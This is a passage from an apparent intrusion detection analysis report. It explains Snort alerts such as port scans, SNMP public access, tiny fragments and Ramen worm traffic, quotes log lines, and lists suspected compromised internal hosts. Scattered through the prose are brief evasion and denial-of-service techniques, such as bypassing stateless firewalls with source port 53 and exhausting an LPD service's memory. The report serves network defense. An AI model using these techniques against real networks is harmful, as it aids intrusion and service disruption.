02/03-22:17:10.679807  [**] SUNRPC highport access! [**] 205.188.5.157:5190 -> 192.168.98.227:32771
01/30-14:34:29.280204  [**] SUNRPC highport access! [**] 200.233.81.13:13765 -> 192.168.60.17:32771
01/30-19:19:16.387947  [**] SUNRPC highport access! [**] 24.9.203.188:61207 -> 192.168.165.129:32771
```

SNMP public access

Simple Network Management Protocol (SNMP) is used by network administrators for monitoring network devices and functions. Default SNMP Community strings such as ‘public’ are listed as one of the ten most critical Internet security threats (http://www.sans.org/topten.htm). They can provide an easy means for an attacker to either shut down or reconfigure a device from a remote location.

```
01/30-00:01:03.208289  [**] SNMP public access [**] MY.NET.70.42:2155 ->
MY.NET.50.154:161
02/03-00:01:04.845994  [**] SNMP public access [**] MY.NET.70.42:1156 ->
MY.NET.50.154:161
02/03-00:01:05.046691  [**] SNMP public access [**] MY.NET.70.42:1156 ->
MY.NET.50.154:161
02/03-00:04:29.598072  [**] SNMP public access [**] MY.NET.111.156:1737 ->
MY.NET.50.154:161
02/03-00:04:30.898906  [**] SNMP public access [**] MY.NET.111.156:1737 ->
MY.NET.50.154:161
```

NMAP TCP ping!

These alerts indicate that a TCP packet was used to determine whether a specific host was reachable. The specific tool that is used is NMAP, a popular port scanning tool.

Some stateless firewalls allow traffic with a source port of 53, assuming that the traffic represents a response to a DNS query. This potentially can be used by an attacker to bypass the firewall.

```
01/30-10:20:21.185419  [**] NMAP TCP ping! [**] 192.102.197.234:53 -> MY.NET.1.8:53
01/30-10:20:21.185419  [**] NMAP TCP ping! [**] 192.102.197.234:53 -> MY.NET.1.8:53
01/30-10:20:26.176916  [**] NMAP TCP ping! [**] 192.102.197.234:80 -> MY.NET.1.8:53
01/30-10:20:26.176916  [**] NMAP TCP ping! [**] 192.102.197.234:80 -> MY.NET.1.8:53
01/30-16:05:29.293513  [**] NMAP TCP ping! [**] 192.102.197.234:80 -> MY.NET.1.8:53
01/30-16:05:29.293513  [**] NMAP TCP ping! [**] 192.102.197.234:80 -> MY.NET.1.8:53
```

ICMP SRC and DST outside network

IDS should be configured to see traffic destined for the network. Check the configuration file to see that the network is defined properly.

TCP SRC and DST outside network

IDS should be configured to see traffic destined for the network. Check the configuration file to see that the network is defined properly.

Null scan!

Null scans turn all flags off in a packet. If open ports are found on the host, the machine is not running Windows 9x/NT/2000. This is a clear indication of packet crafting.

Tiny Fragments - Possible Hostile Activity

There were 112 instances of tiny fragments being received from outside IP addresses. This could indicate an attempt to evade detection. The 111.111.111.111 address is very unusual and probably indicates packet crafting. The 127.0.0.1 address could indicate that someone is trying to take advantage of a local host trust relationship in order to gain access. Some of these were received from CHINANET (Guangdong, Zheijiang, and Jiangsu provinces), which is suspicious. Most of these (78 instances) came from an address block registered to College Park/Knights Court.

```
01/30-12:52:01.851287  [**] Tiny Fragments - Possible Hostile Activity [**] 111.111.111.111 ->
MY.NET.20.10
01/30-12:52:02.018028  [**] Tiny Fragments - Possible Hostile Activity [**] 127.0.0.1 ->
MY.NET.20.10
```

WinGate 1080 Attempt

This traffic indicates an attempt to locate a WinGate SOCKS server in order to relay traffic to another server. IRC chat servers often scan clients for open proxy servers, so this could be a false positive.

```
01/30-21:44:05.976184  [**] WinGate 1080 Attempt [**] 24.114.232.44:1534 ->
MY.NET.224.190:1080
01/30-22:00:21.819791  [**] WinGate 1080 Attempt [**] 128.220.101.100:20 ->
MY.NET.98.241:1080
01/30-22:29:23.689773  [**] WinGate 1080 Attempt [**] 216.179.0.32:2329 ->
MY.NET.229.162:1080
02/03-00:08:18.745395  [**] WinGate 1080 Attempt [**] 216.179.0.32:1221 ->
MY.NET.222.178:1080
02/03-00:14:51.560590  [**] WinGate 1080 Attempt [**] 199.173.178.2:4562 ->
MY.NET.205.174:1080
02/03-00:16:56.303171  [**] WinGate 1080 Attempt [**] 204.117.70.5:3700 ->
MY.NET.218.86:1080
```

Queso fingerprint

Out-of-stream TCP packets cause a variety of reactions from operating systems depending on which TCP flags are set. Queso is a tool that is used to determine what operating system is running using this method. Identification is determined by what the response that is received from a targeted port, which is port 80 by default. Port 6346 is commonly associated with Gnutella, a common file-sharing software, so this could be a false positive. Further investigation is warranted, however, since this may violate company policy.

```
01/30-00:20:10.617039  [**] Queso fingerprint [**] 141.30.228.58:1374 -> MY.NET.208.90:6355
01/30-01:47:47.101198  [**] Queso fingerprint [**] 141.30.228.58:3738 -> MY.NET.229.22:6346
01/30-01:54:19.434343  [**] Queso fingerprint [**] 141.30.228.161:4273 ->
MY.NET.229.22:6346
```

```
01/30-02:15:54.080354  [**] Queso fingerprint [**] 141.30.228.161:4508 ->
MY.NET.229.22:6346
```

Attempted SUN RPC high port access

This represents an attempted SUN RPC high port access. Utilizing high ports for RPC communication is a common method used by attackers to avoid detection.

connect to 515 from inside

These events represent connections to port 515 from addresses that reside on the internal network. This refers to a DoS attack affecting WinCOM LPD V1.00.90 for Windows NT where all is memory is consumed if a continuous stream of options is sent to the LPD port. The default LPD port is 515. These should be investigated, though they may very well be benign in nature.

SYN-FIN scan!

The SYN-FIN scan is commonly used to evade detection by stateless firewalls. This is a common reconnaissance activity used by attackers to gather more information about services running on hosts so that a more aggressive attack can be mounted later.

Possible RAMEN server activity.

The Ramen Internet Worm affects Red Hat Linux 6.2 and 7.0 servers. One characteristic trait of the worm is that a webserver binds to port 27374. Whenever a connection is received, ramen.tgz is sent in response (http://whitehats.com/library/worms/ramen/index.html). It is worth noting that 27374 is an extremely common Windows Trojan port, so this activity might possibly represent a different trojan. The IP addresses listed below all show activity with respect to port 27374 and have more than likely been compromised.

```
2/11-23:04:06.345381  [**] Possible RAMEN server activity [**] MY.NET.12.1 ->
24.48.226.183:4338
02/11-23:04:18.368847  [**] Possible RAMEN server activity [**] MY.NET.15.37 ->
24.48.226.183:1160
02/11-23:04:19.829589  [**] Possible RAMEN server activity [**] MY.NET.15.74 ->
24.48.226.183:1198
02/11-23:04:19.829644  [**] Possible RAMEN server activity [**] MY.NET.15.69 ->
24.48.226.183:1193
02/11-23:04:21.012997  [**] Possible RAMEN server activity [**] MY.NET.15.178 ->
24.48.226.183:1302
02/11-23:04:21.453759  [**] Possible RAMEN server activity [**] MY.NET.15.215 ->
24.48.226.183:1339
02/11-23:04:21.458635  [**] Possible RAMEN server activity [**] MY.NET.15.217 ->
24.48.226.183:1341
02/11-23:04:31.363320  [**] Possible RAMEN server activity [**] MY.NET.18.29 ->
24.48.226.183:1915
```

```
02/11-23:04:31.363215  [**] Possible RAMEN server activity [**] MY.NET.18.25 ->
24.48.226.183:1911
02/11-23:04:31.363365  [**] Possible RAMEN server activity [**] MY.NET.18.21 ->
24.48.226.183:1907
```

Compromised Hosts?

```
MY.NET.253.16
MY.NET.253.18
MY.NET.253.41
MY.NET.253.43
MY.NET.26.1
MY.NET.5.102
MY.NET.5.106
MY.NET.5.118
MY.NET.5.29
MY.NET.5.31
MY.NET.5.45
MY.NET.5.50
MY.NET.53.125
MY.NET.53.135
MY.NET.53.170
MY.NET.53.172
MY.NET.53.178
MY.NET.53.179
MY.NET.53.181
MY.NET.53.182
MY.NET.53.184
MY.NET.53.185
MY.NET.53.186
MY.NET.53.188
MY.NET.53.190
MY.NET.53.194
MY.NET.53.198
MY.NET.53.199
MY.NET.53.202
MY.NET.53.203
MY.NET.53.204
MY.NET.53.208
MY.NET.53.213
MY.NET.53.215
MY.NET.53.35
MY.NET.53.47
MY.NET.53.49
MY.NET.53.60
MY.NET.53.64
MY.NET.53.87
MY.NET.53.94
MY.NET.54.201
MY.NET.54.206
MY.NET.54.210
MY.NET.54.219
MY.NET.54.221
MY.NET.54.224
MY.NET.54.228
MY.NET.6.16
MY.NET.6.18
MY.NET.6.1
MY.NET.6.33
MY.NET.6.35
MY.NET.6.37
MY.NET.6.46
MY.NET.6.53
MY.NET.6.54
MY.NET.6.7
MY.NET.60.14
MY.NET.60.161
MY.NET.60.163
MY.NET.60.169
MY.NET.60.176
MY.NET.60.178
MY.NET.60.17
MY.NET.60.181
MY.NET.60.182
MY.NET.60.198
MY.NET.60.1
MY.NET.60.200
MY.NET.60.202
MY.NET.60.25
MY.NET.60.38
MY.NET.60.62
MY.NET.60.64
MY.NET.60.8
MY.NET.68.25
MY.NET.69.203
MY.NET.69.205
MY.NET.7.151
MY.NET.7.48
MY.NET.7.52
MY.NET.70.118
MY.NET.70.121
MY.NET.70.127
MY.NET.70.137
MY.NET.70.160
MY.NET.70.161
MY.NET.70.163
MY.NET.70.181
MY.NET.71.24
MY.NET.71.44
MY.NET.71.53
MY.NET.75.122
MY.NET.75.126
MY.NET.75.134
MY.NET.75.138
MY.NET.75.176
MY.NET.85.34
MY.NET.85.48
MY.NET.97.105
MY.NET.97.121
MY.NET.97.160
MY.NET.97.163
MY.NET.97.164
MY.NET.97.165
MY.NET.97.166
MY.NET.97.174
MY.NET.97.178
MY.NET.97.189
MY.NET.97.18
MY.NET.97.210
MY.NET.97.211
MY.NET.97.212
MY.NET.97.214
MY.NET.97.219
MY.NET.97.21
MY.NET.97.223
MY.NET.97.235
MY.NET.97.236
MY.NET.97.25
MY.NET.97.31
MY.NET.97.32
MY.NET.97.37
MY.NET.97.45
MY.NET.97.51
MY.NET.97.55
MY.NET.97.62
MY.NET.97.67
MY.NET.97.72
MY.NET.97.76
MY.NET.97.78
MY.NET.97.85
MY.NET.97.91
MY.NET.97.92
MY.NET.97.93
MY.NET.98.107
MY.NET.98.111
MY.NET.98.125
MY.NET.98.171
MY.NET.98.195
MY.NET.98.1
MY.NET.98.215
MY.NET.98.22
MY.NET.98.237
MY.NET.98.247
MY.NET.98.248
MY.NET.98.29
MY.NET.98.32
MY.NET.98.39
MY.NET.98.40
MY.NET.98.42
MY.NET.98.43
MY.NET.98.48
MY.NET.98.63
MY.NET.98.64
MY.NET.98.72
MY.NET.98.79
MY.NET.98.81
MY.NET.98.87
MY.NET.99.124
MY.NET.99.174
MY.NET.99.67
MY.NET.99.70
MY.NET.99.79
MY.NET.1.15
MY.NET.10.115
MY.NET.10.127
MY.NET.10.137
MY.NET.10.13
MY.NET.10.175
MY.NET.10.179
MY.NET.10.17
MY.NET.10.23
MY.NET.10.240
MY.NET.10.52
MY.NET.10.56
MY.NET.10.58
MY.NET.10.79
MY.NET.10.80
MY.NET.10.83
MY.NET.10.86
MY.NET.10.87
MY.NET.10.88
MY.NET.100.133
MY.NET.100.183
MY.NET.100.206
MY.NET.100.236
MY.NET.100.237
MY.NET.100.37
MY.NET.100.67
MY.NET.100.73
MY.NET.100.81
MY.NET.100.96
MY.NET.100.97
MY.NET.104.13
MY.NET.104.45
MY.NET.104.71
MY.NET.105.120
MY.NET.105.144
MY.NET.105.150
MY.NET.105.223
MY.NET.106.120
MY.NET.106.121
MY.NET.106.139
MY.NET.106.146
MY.NET.106.172
MY.NET.106.1
MY.NET.106.204
MY.NET.109.16
MY.NET.109.1
MY.NET.109.218
MY.NET.109.26
MY.NET.109.49
MY.NET.109.61
MY.NET.109.76
MY.NET.109.9
MY.NET.11.2
MY.NET.110.115
MY.NET.110.128
MY.NET.110.129
MY.NET.110.130
MY.NET.110.152
MY.NET.110.16
MY.NET.110.34
MY.NET.110.6
MY.NET.110.7
MY.NET.110.81
MY.NET.110.83
MY.NET.110.84
MY.NET.110.85
MY.NET.111.139
MY.NET.111.148
MY.NET.111.169
MY.NET.111.21
MY.NET.111.36
MY.NET.111.62
MY.NET.112.11
MY.NET.112.16
MY.NET.112.20
MY.NET.112.22
MY.NET.112.26
MY.NET.112.32
MY.NET.112.34
MY.NET.115.136
MY.NET.115.141
MY.NET.115.149
MY.NET.115.172
MY.NET.115.173
MY.NET.115.63
MY.NET.115.87
MY.NET.115.92
MY.NET.115.93
MY.NET.115.95
MY.NET.12.1
MY.NET.120.36
MY.NET.130.11
MY.NET.130.127
MY.NET.130.133
MY.NET.130.135
MY.NET.130.137
MY.NET.130.160
MY.NET.134.1
MY.NET.138.11
MY.NET.138.15
MY.NET.138.201
MY.NET.138.204
MY.NET.138.205
MY.NET.138.210
MY.NET.138.212
MY.NET.138.216
MY.NET.138.217
MY.NET.138.218
MY.NET.138.220
MY.NET.138.221
MY.NET.138.222
MY.NET.138.223
MY.NET.138.27
MY.NET.138.31
MY.NET.138.33
MY.NET.138.44
MY.NET.138.46
MY.NET.139.120
MY.NET.139.121
MY.NET.139.122
MY.NET.139.14
MY.NET.139.161
MY.NET.139.229
MY.NET.139.24
MY.NET.140.104
MY.NET.140.117
MY.NET.140.123
MY.NET.140.130
MY.NET.140.134
MY.NET.140.151
MY.NET.140.163
MY.NET.140.173
MY.NET.140.191
MY.NET.140.201
MY.NET.140.206
MY.NET.140.210
MY.NET.140.240
MY.NET.140.248
MY.NET.140.25
MY.NET.140.45
MY.NET.140.74
MY.NET.141.102
MY.NET.141.160
MY.NET.141.208
MY.NET.141.216
MY.NET.141.8
MY.NET.143.150
MY.NET.143.154
MY.NET.143.238
MY.NET.143.240
MY.NET.143.243
MY.NET.143.250
MY.NET.143.50
MY.NET.143.56
MY.NET.143.79
MY.NET.143.81
MY.NET.143.82
MY.NET.143.85
MY.NET.143.92
MY.NET.144.11
MY.NET.144.25
MY.NET.144.51
MY.NET.144.55
MY.NET.144.57
MY.NET.144.59
MY.NET.144.60
MY.NET.145.114
MY.NET.145.137
MY.NET.145.143
MY.NET.145.155
MY.NET.145.171
MY.NET.145.175
MY.NET.145.186
MY.NET.145.195
MY.NET.145.205
MY.NET.145.223
MY.NET.145.75
MY.NET.145.85
MY.NET.145.86
MY.NET.145.88
MY.NET.145.8
MY.NET.145.90
MY.NET.145.94
MY.NET.146.67
MY.NET.15.178
MY.NET.15.215
MY.NET.15.217
MY.NET.15.37
MY.NET.15.69
MY.NET.15.74
MY.NET.150.116
MY.NET.150.139
MY.NET.150.16
MY.NET.150.1
MY.NET.150.207
MY.NET.150.210
MY.NET.150.231
MY.NET.150.98
MY.NET.151.191
MY.NET.151.36
MY.NET.151.64
MY.NET.151.83
MY.NET.151.90
MY.NET.152.127
MY.NET.152.12
MY.NET.152.145
MY.NET.152.158
MY.NET.152.184
MY.NET.152.205
MY.NET.152.208
MY.NET.152.216
MY.NET.152.22
MY.NET.152.54
MY.NET.153.108
MY.NET.153.110
MY.NET.153.111
MY.NET.153.124
MY.NET.153.126
MY.NET.153.1
MY.NET.153.45
MY.NET.153.46
MY.NET.153.47
MY.NET.153.66
MY.NET.153.69
MY.NET.155.1
MY.NET.156.55
MY.NET.157.122
MY.NET.157.150
MY.NET.157.172
MY.NET.157.179
MY.NET.157.180
MY.NET.157.184
MY.NET.157.199
MY.NET.157.20
MY.NET.157.245
MY.NET.157.25
MY.NET.157.4
MY.NET.157.6
MY.NET.160.102
MY.NET.160.103
MY.NET.160.118
MY.NET.160.125
MY.NET.160.146
MY.NET.160.147
MY.NET.160.148
MY.NET.160.150
MY.NET.160.157
MY.NET.160.178
MY.NET.161.11
MY.NET.161.1
MY.NET.161.23
MY.NET.161.25
MY.NET.161.29
MY.NET.161.4
MY.NET.161.5
MY.NET.161.9
MY.NET.162.102
MY.NET.162.105
MY.NET.162.106
MY.NET.162.111
MY.NET.162.122
MY.NET.162.123
MY.NET.162.127
MY.NET.162.173
MY.NET.162.181
MY.NET.162.191
MY.NET.162.195
MY.NET.162.197
MY.NET.162.199
MY.NET.162.200
MY.NET.162.226
MY.NET.162.62
MY.NET.162.64
MY.NET.162.72
MY.NET.162.77
MY.NET.162.81
MY.NET.162.83
MY.NET.162.87
MY.NET.162.89
MY.NET.163.43
MY.NET.163.70
MY.NET.163.76
MY.NET.163.78
MY.NET.165.11
MY.NET.165.16
MY.NET.165.17
MY.NET.165.1
MY.NET.167.1
MY.NET.167.3
MY.NET.167.4
MY.NET.178.108
MY.NET.178.112
MY.NET.178.122
MY.NET.178.128
MY.NET.178.140
MY.NET.178.166
MY.NET.178.194
MY.NET.178.196
MY.NET.178.199
MY.NET.178.222
MY.NET.178.29
MY.NET.178.98
MY.NET.179.45
MY.NET.179.46
MY.NET.179.55
MY.NET.179.56
MY.NET.179.70
MY.NET.179.72
MY.NET.179.74
MY.NET.179.78
MY.NET.179.83
MY.NET.179.86
MY.NET.179.87
MY.NET.179.88
MY.NET.18.21
MY.NET.18.25
MY.NET.18.29
MY.NET.180.185
MY.NET.180.208
MY.NET.180.230
MY.NET.180.87
MY.NET.181.105
MY.NET.181.106
MY.NET.181.112
MY.NET.181.1
MY.NET.181.26
MY.NET.182.13
MY.NET.182.15
MY.NET.182.60
MY.NET.182.73
MY.NET.182.78
MY.NET.182.80
MY.NET.182.81
MY.NET.182.89
MY.NET.182.93
MY.NET.182.94
MY.NET.183.10
MY.NET.183.11
MY.NET.183.12
MY.NET.183.14
MY.NET.183.16
MY.NET.183.17
MY.NET.183.18
MY.NET.183.19
MY.NET.183.1
MY.NET.184.10
MY.NET.184.25
MY.NET.184.31
MY.NET.184.32
MY.NET.185.15
MY.NET.185.28
MY.NET.185.29
MY.NET.190.1
MY.NET.195.11
MY.NET.2.1
MY.NET.2.203
MY.NET.2.208
MY.NET.200.112
MY.NET.200.12
MY.NET.200.133
MY.NET.200.134
MY.NET.200.135
MY.NET.200.147
MY.NET.200.152
MY.NET.200.155
MY.NET.200.158
MY.NET.200.160
MY.NET.200.165
MY.NET.200.173
MY.NET.200.178
MY.NET.200.184
MY.NET.200.3
MY.NET.200.45
MY.NET.200.47
MY.NET.200.48
MY.NET.200.64
MY.NET.200.65
MY.NET.200.67
MY.NET.200.6
MY.NET.200.70
MY.NET.200.71
MY.NET.200.74
MY.NET.200.89
MY.NET.200.92
MY.NET.201.102
MY.NET.201.242
MY.NET.202.222
MY.NET.203.174
MY.NET.203.94
MY.NET.205.114
MY.NET.205.122
MY.NET.205.126
MY.NET.205.134
MY.NET.205.145
MY.NET.205.173
MY.NET.205.182
MY.NET.205.18
MY.NET.205.197
MY.NET.205.201
MY.NET.205.209
MY.NET.205.233
MY.NET.205.26
MY.NET.205.29
MY.NET.205.30
MY.NET.205.34
MY.NET.205.65
MY.NET.205.69
MY.NET.205.78
MY.NET.205.81
MY.NET.205.85
MY.NET.206.105
MY.NET.206.106
MY.NET.206.125
MY.NET.206.137
MY.NET.206.138
MY.NET.206.149
MY.NET.206.153
MY.NET.206.154
MY.NET.206.157
MY.NET.206.158
MY.NET.206.181
MY.NET.206.182
MY.NET.206.186
MY.NET.206.1
MY.NET.206.201
MY.NET.206.225
MY.NET.206.245
MY.NET.206.253
MY.NET.206.2
MY.NET.206.5
MY.NET.206.69
MY.NET.206.73
MY.NET.206.74
MY.NET.207.10
MY.NET.207.113
MY.NET.207.134
MY.NET.207.137
MY.NET.207.138
MY.NET.207.161
MY.NET.207.165
MY.NET.207.166
MY.NET.207.17
MY.NET.207.181
MY.NET.207.186
MY.NET.207.198
MY.NET.207.201
MY.NET.207.205
MY.NET.207.230
MY.NET.207.238
MY.NET.207.241
MY.NET.207.242
MY.NET.207.250
MY.NET.207.25
MY.NET.207.33
MY.NET.207.37
MY.NET.207.57
MY.NET.207.65
MY.NET.207.74
MY.NET.207.98
MY.NET.208.141
MY.NET.208.149
MY.NET.208.153
MY.NET.208.18
MY.NET.208.194
MY.NET.208.205
MY.NET.208.210
MY.NET.208.214
MY.NET.208.221
MY.NET.208.233
MY.NET.208.30
MY.NET.208.5
MY.NET.208.6
MY.NET.208.78
MY.NET.208.82
MY.NET.208.85
MY.NET.208.89
MY.NET.208.90
MY.NET.208.93
MY.NET.208.94
MY.NET.208.98
MY.NET.209.101
MY.NET.209.110
MY.NET.209.129
MY.NET.209.130
MY.NET.209.134
MY.NET.209.13
MY.NET.209.145
MY.NET.209.177
MY.NET.209.182
MY.NET.209.190
MY.NET.209.198
MY.NET.209.201
MY.NET.209.202
MY.NET.209.206
MY.NET.209.210
MY.NET.209.214
MY.NET.209.217
MY.NET.209.218
MY.NET.209.222
MY.NET.209.242
MY.NET.209.249
MY.NET.209.250
MY.NET.209.25
MY.NET.209.30
MY.NET.209.38
MY.NET.209.49
MY.NET.209.5
MY.NET.209.61
MY.NET.209.66
MY.NET.209.6
MY.NET.209.74
MY.NET.209.78
MY.NET.209.82
MY.NET.209.85
MY.NET.209.89
MY.NET.209.90
MY.NET.21.12
MY.NET.21.43
MY.NET.21.44
MY.NET.21.52
MY.NET.21.54
MY.NET.21.59
MY.NET.21.72
MY.NET.21.75
MY.NET.21.77
MY.NET.21.78
MY.NET.210.106
MY.NET.210.109
MY.NET.210.141
MY.NET.210.145
MY.NET.210.146
MY.NET.210.153
MY.NET.210.158
MY.NET.210.173
MY.NET.210.185
MY.NET.210.21
MY.NET.210.229
MY.NET.210.25
MY.NET.210.66
MY.NET.210.6
MY.NET.210.73
MY.NET.210.82
MY.NET.210.85
MY.NET.210.98
MY.NET.211.101
MY.NET.211.10
MY.NET.211.121
MY.NET.211.149
MY.NET.211.165
MY.NET.211.166
MY.NET.211.173
MY.NET.211.177
MY.NET.211.197
MY.NET.211.198
MY.NET.211.205
MY.NET.211.238
MY.NET.211.250
MY.NET.211.33
MY.NET.211.57
MY.NET.211.82
MY.NET.211.89
MY.NET.211.97
MY.NET.211.9
MY.NET.212.10
MY.NET.212.113
MY.NET.212.121
MY.NET.212.133
MY.NET.212.137
MY.NET.212.13
MY.NET.212.14
MY.NET.212.17
MY.NET.212.181
MY.NET.212.213
MY.NET.212.225
MY.NET.212.226
MY.NET.212.234
MY.NET.212.33
MY.NET.212.82
MY.NET.212.85
MY.NET.212.86
MY.NET.212.90
MY.NET.212.98
MY.NET.213.122
MY.NET.213.149
MY.NET.213.154
MY.NET.213.169
MY.NET.213.182
MY.NET.213.193
MY.NET.213.1
MY.NET.213.217
MY.NET.213.218
MY.NET.213.233
MY.NET.213.253
MY.NET.213.25
MY.NET.213.29
MY.NET.213.37
MY.NET.213.58
MY.NET.213.70
MY.NET.213.77
MY.NET.213.86
MY.NET.213.94
MY.NET.213.98
MY.NET.214.125
MY.NET.214.142
MY.NET.214.157
MY.NET.214.181
MY.NET.214.201
MY.NET.214.229
MY.NET.214.42
MY.NET.214.45
MY.NET.214.46
MY.NET.215.113
MY.NET.215.121
MY.NET.215.141
MY.NET.215.185
MY.NET.215.189
MY.NET.215.193
MY.NET.215.197
MY.NET.215.217
MY.NET.215.225
MY.NET.215.41
MY.NET.215.61
MY.NET.215.89
MY.NET.215.93
MY.NET.216.109
MY.NET.216.113
MY.NET.216.21
MY.NET.216.37
MY.NET.216.45
MY.NET.216.53
MY.NET.216.5
MY.NET.216.73
MY.NET.216.89
MY.NET.217.101
MY.NET.217.110
MY.NET.217.121
MY.NET.217.122
MY.NET.217.130
MY.NET.217.149
MY.NET.217.153
MY.NET.217.170
MY.NET.217.173
MY.NET.217.202
MY.NET.217.213
MY.NET.217.61
MY.NET.217.65
MY.NET.217.69
MY.NET.217.74
MY.NET.217.77
MY.NET.217.81
MY.NET.217.93
MY.NET.217.98
MY.NET.218.138
MY.NET.218.14
MY.NET.218.157
MY.NET.218.177
MY.NET.218.182
MY.NET.218.189
MY.NET.218.202
MY.NET.218.21
MY.NET.218.225
MY.NET.218.38
MY.NET.218.5
MY.NET.218.70
MY.NET.218.98
MY.NET.219.105
MY.NET.219.129
MY.NET.219.157
MY.NET.219.186
MY.NET.219.205
MY.NET.219.209
MY.NET.219.214
MY.NET.219.221
MY.NET.219.225
MY.NET.219.230
MY.NET.219.238
MY.NET.219.245
MY.NET.219.37
MY.NET.219.61
MY.NET.219.81
MY.NET.219.94
MY.NET.220.10
MY.NET.220.145
MY.NET.220.17
MY.NET.220.181
MY.NET.220.18
MY.NET.220.21
MY.NET.220.22
MY.NET.220.29
MY.NET.220.41
MY.NET.220.45
MY.NET.220.53
MY.NET.220.54
MY.NET.221.113
MY.NET.221.134
MY.NET.221.137
MY.NET.221.13
MY.NET.221.14
MY.NET.221.150
MY.NET.221.154
MY.NET.221.173
MY.NET.221.182
MY.NET.221.209
MY.NET.221.218
MY.NET.221.222
MY.NET.221.237
MY.NET.221.246
MY.NET.221.25
MY.NET.221.26
MY.NET.221.33
MY.NET.221.38
MY.NET.221.62
MY.NET.221.73
MY.NET.221.94
MY.NET.222.122
MY.NET.222.126
MY.NET.222.129
MY.NET.222.134
MY.NET.222.138
MY.NET.222.170
MY.NET.222.214
MY.NET.222.218
MY.NET.222.233
MY.NET.222.241
MY.NET.222.250
MY.NET.222.30
MY.NET.222.61
MY.NET.222.66
MY.NET.222.74
MY.NET.222.78
MY.NET.222.93
MY.NET.222.97
MY.NET.223.114
MY.NET.223.117
MY.NET.223.129
MY.NET.223.133
MY.NET.223.141
MY.NET.223.181
MY.NET.223.186
MY.NET.223.189
MY.NET.223.198
MY.NET.223.202
MY.NET.223.206
MY.NET.223.210
MY.NET.223.242
MY.NET.223.249
MY.NET.223.34
MY.NET.223.42
MY.NET.223.45
MY.NET.223.70
MY.NET.223.74
MY.NET.224.110
MY.NET.224.113
MY.NET.224.117
MY.NET.224.133
MY.NET.224.149
MY.NET.224.14
MY.NET.224.157
MY.NET.224.166
MY.NET.224.170
MY.NET.224.182
MY.NET.224.186
MY.NET.224.189
MY.NET.224.190
MY.NET.224.194
MY.NET.224.198
MY.NET.224.201
MY.NET.224.202
MY.NET.224.214
MY.NET.224.217
MY.NET.224.221
MY.NET.224.222
MY.NET.224.22
MY.NET.224.26
MY.NET.224.46
MY.NET.224.58
MY.NET.224.65
MY.NET.224.66
MY.NET.224.93
MY.NET.224.94
MY.NET.224.97
MY.NET.224.98
MY.NET.225.113
MY.NET.225.169
MY.NET.225.177
MY.NET.225.178
MY.NET.225.1
MY.NET.225.209
MY.NET.225.226
MY.NET.225.229
MY.NET.225.254
MY.NET.225.41
MY.NET.225.61
MY.NET.225.65
MY.NET.225.66
MY.NET.225.81
MY.NET.225.89
MY.NET.226.105
MY.NET.226.113
MY.NET.226.126
MY.NET.226.134
MY.NET.226.137
MY.NET.226.170
MY.NET.226.174
MY.NET.226.194
MY.NET.226.205
MY.NET.226.209
MY.NET.226.217
MY.NET.226.34
MY.NET.226.50
MY.NET.226.81
MY.NET.226.90
MY.NET.227.117
MY.NET.227.121
MY.NET.227.138
MY.NET.227.142
MY.NET.227.157
MY.NET.227.166
MY.NET.227.194
MY.NET.227.221
MY.NET.227.229
MY.NET.227.230
MY.NET.227.242
MY.NET.227.25
MY.NET.227.38
MY.NET.227.49
MY.NET.227.57
MY.NET.227.5
MY.NET.227.81
MY.NET.227.89
MY.NET.227.94
MY.NET.227.97
MY.NET.227.9
MY.NET.228.10
MY.NET.228.137
MY.NET.228.14
MY.NET.228.153
MY.NET.228.166
MY.NET.228.177
MY.NET.228.189
MY.NET.228.1
MY.NET.228.210
MY.NET.228.222
MY.NET.228.225
MY.NET.228.229
MY.NET.228.233
MY.NET.228.25
MY.NET.228.34
MY.NET.228.38
MY.NET.228.82
MY.NET.228.94
MY.NET.229.113
MY.NET.229.145
MY.NET.229.17
MY.NET.229.182
MY.NET.229.190
MY.NET.229.1
MY.NET.229.225
MY.NET.229.2
MY.NET.229.61
MY.NET.229.69
MY.NET.229.6
MY.NET.229.93
MY.NET.230.105
MY.NET.230.145
MY.NET.230.153
MY.NET.230.193
MY.NET.230.201
MY.NET.230.249
MY.NET.230.29
MY.NET.230.37
MY.NET.230.57
MY.NET.230.73
MY.NET.230.9
MY.NET.231.137
MY.NET.231.145
MY.NET.231.153
MY.NET.231.161
MY.NET.231.189
MY.NET.231.209
MY.NET.231.53
MY.NET.231.73
MY.NET.231.77
MY.NET.232.137
MY.NET.232.153
MY.NET.232.17
MY.NET.232.21
MY.NET.232.25
MY.NET.232.53
MY.NET.250.1
MY.NET.253.117
```

Watchlist 0000222 NET-NCFC

These connections indicate network traffic to and from the Computer Network Center Chinese Academy of Sciences. Most of the activity from this particular address block occurred 02/06 and 02/11 and was directed at port 25 (SMTP). This type of activity could be indicative of a spammer, so further investigation is warranted. Other traffic that was noted was directed at port 113 (identd, auth). This protocol is used on many machines to identify the user of a TCP connection. There is some risk associated with this service, given the amount of information that can be revealed to potential attackers, though it is used by many services, such as FTP, POP, IMAP, and SMTP for logging purposes.

```
02/03-09:08:59.679272  [**] Watchlist 000222 NET-NCFC [**] 159.226.39.4:2859 ->
MY.NET.100.230:25
```

```
02/03-09:09:03.444937  [**] Watchlist 000222 NET-NCFC [**] 159.226.39.4:2859 ->
MY.NET.100.230:25
02/03-09:09:08.908327  [**] Watchlist 000222 NET-NCFC [**] 159.226.39.4:2859 ->
MY.NET.100.230:25
02/03-09:09:09.400820  [**] Watchlist 000222 NET-NCFC [**] 159.226.39.4:2859 ->
MY.NET.100.230:25
02/03-09:09:14.301649  [**] Watchlist 000222 NET-NCFC [**] 159.226.39.4:2862 ->
MY.NET.253.43:25
02/03-09:09:14.807720  [**] Watchlist 000222 NET-NCFC [**] 159.226.39.4:2862 ->
MY.NET.253.43:25
02/03-11:54:58.294420  [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:2957 ->
MY.NET.253.51:113

01/30-14:15:20.552797  [**] Watchlist 000222 NET-NCFC [**] 159.226.197.106:26160 ->
MY.NET.60.17:52051
01/30-14:16:33.773128  [**] Watchlist 000222 NET-NCFC [**] 159.226.215.205:15499 ->
MY.NET.60.17:39386
01/30-14:28:02.316130  [**] Watchlist 000222 NET-NCFC [**] 159.226.61.246:36683 ->
MY.NET.60.17:6909
01/30-14:32:34.212143  [**] Watchlist 000222 NET-NCFC [**] 159.226.63.107:9258 ->
MY.NET.60.17:9157
01/30-14:32:56.693407  [**] Watchlist 000222 NET-NCFC [**] 159.226.112.195:6476 ->
MY.NET.60.17:156
01/30-14:36:24.470595  [**] Watchlist 000222 NET-NCFC [**] 159.226.126.85:54681 ->
MY.NET.60.17:6586
